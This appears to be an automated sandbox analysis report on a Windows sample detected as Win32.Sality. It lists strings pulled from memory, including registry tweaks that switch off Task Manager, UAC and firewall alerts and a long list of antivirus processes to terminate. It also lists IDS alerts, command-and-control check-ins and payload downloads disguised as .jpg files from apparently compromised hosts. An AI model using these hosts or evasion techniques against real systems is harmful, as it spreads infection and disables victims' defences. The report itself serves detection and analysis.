SettingsSoftware\Microsoft\Windows\CurrentVersionhttp://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers\KeServiceDescriptorTable_os%d%dhttp://kukutrustnet777888.info/DisableTaskMgrSoftware\Microsoft\Windows\CurrentVersion\policies\systemEnableLUASoftware\Microsoft\Windows\ShellNoRoam\MUICachemonga_bongapurity_control_90833SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile%s:*:Enabled:ipsecSYSTEM\CurrentControlSet\Services\SharedAccessStart\AuthorizedApplications\ListSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AdvancedHidden[AutoRun]
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: shell\explore\Commandshell\Autoplay\commandDisableRegistryToolsDAEMON.Simple Poly Engine v1.1a(c) Sector\SvcSOFTWARE\Microsoft\Security CenterAntiVirusOverrideAntiVirusDisableNotifyFirewallDisableNotifyFirewallOverrideUpdatesDisableNotifyUacDisableNotifyAntiSpywareOverrideSYSTEMkukutrusted!.CreateMutexAKERNEL32TEXTUPXCODEGdiPlus.dllDEVICEMBhttp://\Runhttpipfltdrv.syswww.microsoft.com?%x=%d&%x=%dSYSTEM.INIUSER32.DLL.%c%s\\.\amsint32.EXE.SCRSfcIsFileProtectedsfcdrw.VDB.AVCNTDLL.DLLrnd=autorun.infEnableFirewallDoNotAllowExceptionsDisableNotificationsWNetEnumResourceAWNetOpenEnumAWNetCloseEnumADVAPI32.DLLCreateServiceAOpenSCManagerAOpenServiceACloseServiceHandleDeleteServiceControlService__hStartServiceANOTICE__drIPFILTERDRIVERChangeServiceConfigAwin%s.exe%s.exeWININET.DLLInternetOpenAInternetReadFileInternetOpenUrlAInternetCloseHandleAVPAgnitum Client Security ServiceALGAmon monitoraswUpdSvaswMon2aswRdraswSPaswTdiaswFsBlkacssrvAV Engineavast! iAVS4 Control Serviceavast! Antivirusavast! Mail Scanneravast! Web Scanneravast! Asynchronous Virus Monitoravast! Self ProtectionAVG E-mail ScannerAvira AntiVir Premium GuardAvira AntiVir Premium WebGuardAvira AntiVir Premium MailGuardBGLiveSvcBlackICECAISafeccEvtMgrccProxyccSetMgrCOMODO Firewall Pro Sandbox DrivercmdGuardcmdAgentEset ServiceEset HTTP ServerEset Personal FirewallF-Prot Antivirus Update MonitorfsbwsysFSDFWDF-Secure Gatekeeper Handler StarterFSMAGoogle Online ServicesInoRPCInoRTInoTaskISSVCKPF4KLIFLavasoftFirewallLIVESRVMcAfeeFrameworkMcShieldMcTaskManagerMpsSvcnavapsvcNOD32krnNPFMntorNSCServiceOutpost Firewall main moduleOutpostFirewallPAVFIRESPAVFNSVRPavProtPavPrSrvPAVSRVPcCtlComPersonalFirewalPREVSRVProtoPort Firewall servicePSIMSVCRapAppSharedAccessSmcServiceSNDSrvcSPBBCSvcSpIDer FS Monitor for Windows NTSpIDer Guard File System MonitorSPIDERNTSymantec Core LCSymantec Password ValidationSymantec AntiVirus Definition WatcherSavRoamSymantec AntiVirusTmntsrvTmPfwUmxAgentUmxCfgUmxLUUmxPolvsmonVSSERVWebrootDesktopFirewallDataServiceWebrootFirewallwscsvcXCOMMSystem\CurrentControlSet\Control\SafeBoot%d%d.tmpSOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList%s\%s%s\Software\Microsoft\Windows\CurrentVersion\Ext\StatsSoftware\Microsoft\Windows\CurrentVersion\Ext\StatsSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper ObjectsKERNEL32.DLLbootshellSYSTEM.INIExplorer.exeAVPM.A2GUARDA2CMD.A2SERVICE.A2FREEAVASTADVCHK.AGB.AKRNL.AHPROCMONSERVER.AIRDEFENSEALERTSVCAVIRAAMON.TROJAN.AVZ.ANTIVIRAPVXDWIN.ARMOR2NET.ASHAVAST.ASHDISP.ASHENHCD.ASHMAISV.ASHPOPWZ.ASHSERV.ASHSIMPL.ASHSKPCK.ASHWEBSV.ASWUPDSV.ASWSCANAVCIMAN.AVCONSOL.AVENGINE.AVESVC.AVEVAL.AVEVL32.AVGAMAVGCC.AVGCHSVX.AVGCSRVX.AVGNSX.AVGCC32.AVGCTRL.AVGEMC.AVGFWSRV.AVGNT.AVCENTERAVGNTMGRAVGSERV.AVGTRAY.AVGUARD.AVGUPSVC.AVGWDSVC.AVINITNT.AVKSERV.AVKSERVICE.AVKWCTL.AVP.AVP32.AVPCC.AVASTAVSERVER.AVSCHED32.AVSYNMGR.AVWUPD32.AVWUPSRV.AVXMONITORAVXQUAR.BDSWITCH.BLACKD.BLACKICE.CAFIX.BITDEFENDERCCEVTMGR.CFP.CFPCONFIG.CCSETMGR.CFIAUDIT.CLAMTRAY.CL
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\autorun.inf
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0052DF60 InitializeCriticalSection,GetModuleHandleA,GetModuleFileNameA,GetFullPathNameA,GetModuleHandleA,GetProcAddress,GetLongPathNameA,CharUpperBuffA,GetShortPathNameA,CharUpperBuffA,CharUpperBuffA,GetFullPathNameA,CharUpperBuffA,FindFirstFileA,lstrcmpi,CharUpperBuffA,FindNextFileA,FindClose,0_2_0052DF60

      Networking

      barindex
      Snort IDS alert for network traffic
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49698 -> 206.191.152.58:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49699 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49700 -> 206.189.61.126:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49701 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.106.25:80 -> 192.168.2.3:49701
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49703 -> 78.46.2.155:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49704 -> 37.230.104.89:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49707 -> 206.191.152.58:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49708 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49709 -> 206.189.61.126:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49710 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49711 -> 78.46.2.155:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49712 -> 37.230.104.89:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49715 -> 206.191.152.58:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49716 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49717 -> 206.189.61.126:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49718 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49719 -> 78.46.2.155:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49720 -> 37.230.104.89:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49723 -> 206.191.152.58:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49724 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49725 -> 206.189.61.126:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49726 -> 63.251.106.25:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49727 -> 78.46.2.155:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49728 -> 37.230.104.89:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49731 -> 206.191.152.58:80
      Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.3:49732 -> 63.251.106.25:80
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?142a6b1=211452650 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2c3ef52=185580872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?46e717b=520428125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?657d9df=425682812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?85f4e8=70231872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /xs.jpg?f5fe7c=80607340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /xs.jpg?10e1c12=88509530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1150888=163400904 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /xs.jpg?128b779=175010625 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?142a6b1=211452650 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1b3ca31=171359526 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214849|1681214849|0|1|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?21973d4=70444968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214850|1681214850|0|1|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?25d8de9=158742436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cacheCookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2713c6c=81950936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214851|1681214851|0|1|0; snkz=84.17.52.42
      Source: global trafficHTTP traffic detected: GET /xs.jpg?29383b1=259331622 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2c3ef52=185580872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?37fb479=234803684 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214860|1681214849|5|2|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?3b0704e=495157872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214861|1681214850|5|2|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?3f44720=597065760 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cacheCookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?416832a=548673872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214862|1681214851|5|2|0; snkz=84.17.52.42
      Source: global trafficHTTP traffic detected: GET /xs.jpg?44c7885=504843171 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?46e717b=520428125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?56961d6=181584812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214865|1681214849|5|3|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?59f0920=471543200 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214866|1681214850|5|3|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?5cf74e1=779855624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: amsamex.comCache-Control: no-cacheCookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5f16d79=498541405 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214867|1681214851|5|3|0; snkz=84.17.52.42
      Source: global trafficHTTP traffic detected: GET /xs.jpg?6273be3=929110779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?657d9df=425682812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7139244=712338840 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214870|1681214849|5|4|0
      Source: global trafficHTTP traffic detected: GET /xs.jpg?757abcd=739116750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214870|1681214850|4|4|0
      Source: global trafficTCP traffic: 192.168.2.3:49702 -> 154.23.184.71:5566
      Source: global trafficUDP traffic: 192.168.2.3:58922 -> 85.17.167.196:9832
      Source: global trafficUDP traffic: 192.168.2.3:58923 -> 88.248.141.201:6018
      Source: global trafficUDP traffic: 192.168.2.3:58924 -> 201.24.159.221:8590
      Source: global trafficUDP traffic: 192.168.2.3:58925 -> 85.105.121.157:9674
      Source: global trafficUDP traffic: 192.168.2.3:58926 -> 81.181.64.5:6021
      Source: global trafficUDP traffic: 192.168.2.3:58927 -> 173.11.157.38:4599
      Source: global trafficUDP traffic: 192.168.2.3:58928 -> 72.218.137.25:8162
      Source: global trafficUDP traffic: 192.168.2.3:58929 -> 89.230.213.141:7453
      Source: global trafficUDP traffic: 192.168.2.3:58930 -> 89.120.233.17:7204
      Source: global trafficUDP traffic: 192.168.2.3:58931 -> 80.54.102.172:9943
      Source: global trafficUDP traffic: 192.168.2.3:58932 -> 211.106.155.59:7843
      Source: global trafficUDP traffic: 192.168.2.3:58933 -> 220.121.134.142:8183
      Source: global trafficUDP traffic: 192.168.2.3:58934 -> 77.77.35.67:6545
      Source: global trafficUDP traffic: 192.168.2.3:58935 -> 81.181.112.247:8590
      Source: global trafficUDP traffic: 192.168.2.3:58936 -> 71.226.96.253:6738
      Source: global trafficUDP traffic: 192.168.2.3:58937 -> 76.104.215.8:7023
      Source: global trafficUDP traffic: 192.168.2.3:58938 -> 78.96.105.81:5750
      Source: global trafficUDP traffic: 192.168.2.3:58939 -> 129.74.157.231:7269
      Source: global trafficUDP traffic: 192.168.2.3:49978 -> 87.121.209.81:5871
      Source: global trafficUDP traffic: 192.168.2.3:49979 -> 89.46.234.189:5925
      Source: global trafficUDP traffic: 192.168.2.3:49303 -> 62.90.21.54:7455
      Source: global trafficUDP traffic: 192.168.2.3:49304 -> 81.180.234.176:9420
      Source: global trafficUDP traffic: 192.168.2.3:49305 -> 212.12.166.36:8079
      Source: global trafficUDP traffic: 192.168.2.3:49306 -> 84.114.219.90:7023
      Source: global trafficUDP traffic: 192.168.2.3:49307 -> 118.137.42.114:6874
      Source: global trafficUDP traffic: 192.168.2.3:53976 -> 71.95.133.164:7269
      Source: global trafficUDP traffic: 192.168.2.3:53977 -> 85.14.86.35:8583
      Source: global trafficUDP traffic: 192.168.2.3:51140 -> 164.125.131.62:9674
      Source: global trafficUDP traffic: 192.168.2.3:57135 -> 69.47.135.203:7601
      Source: unknownNetwork traffic detected: IP country count 15
      Source: pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://173.193.19.14/logo.gif
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://89.119.67.154/testo5/
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://89.119.67.154/testo5/http://kukutrustnet777.info/home.gifhttp://kukutrustnet888.info/home.gif
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://a3inforservice.com.br/images/logof.gif
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://accnet.ca/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://accnet.ca/xs.jpghttp://a3inforservice.com.br/images/logof.gif
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?29383b1=259331622
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?29383b1=259331622Control
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?29383b1=259331622f
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?44c7885=504843171
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?44c7885=5048431712
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?6273be3=929110779
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?6273be3=929110779e
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ahmediye.net/xs.jpg?6273be3=929110779s
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?1b3c9f3=114239436
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?1b3c9f3=114239436r
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?35dbb35=451795368
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?35dbb35=4517953688
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?35dbb35=451795368H
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?546f297=708285624
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?6f17e54=232979624
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpg?6f17e54=232979624l
